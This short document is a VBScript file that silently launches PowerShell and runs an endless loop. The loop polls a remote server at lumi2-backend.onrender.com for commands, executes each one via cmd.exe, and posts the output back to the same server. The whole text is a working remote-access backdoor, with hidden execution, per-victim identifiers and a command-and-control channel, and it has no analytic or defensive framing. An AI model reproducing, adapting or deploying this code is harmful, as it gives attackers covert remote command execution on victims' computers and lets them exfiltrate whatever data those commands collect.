Dim shell Set shell = CreateObject("WScript.Shell") powershellCommand = "powershell -Command ""$Username = $('%username%' + (Get-Random)); " & _ "while ($true) { " & _ "$Content = (Invoke-WebRequest -Uri ('https://lumi2-backend.onrender.com/cmdpoll/' + $Username)).Content.Trim(); " & _ "if ($Content -ne '') { " & _ "$Output = cmd.exe /c $Content | Out-String; " & _ "$Body = @{input = $Content.Trim(); data = $Output.Trim(); uid = $Username}; " & _ "Invoke-RestMethod -Uri 'https://lumi2-backend.onrender.com/result' -Method Post -Body ($Body | ConvertTo-Json) -ContentType 'application/json'; " & _ "}; " & _ "Start-Sleep -Seconds 1; " & _ "}""" shell.Run powershellCommand, 0, false WScript.Quit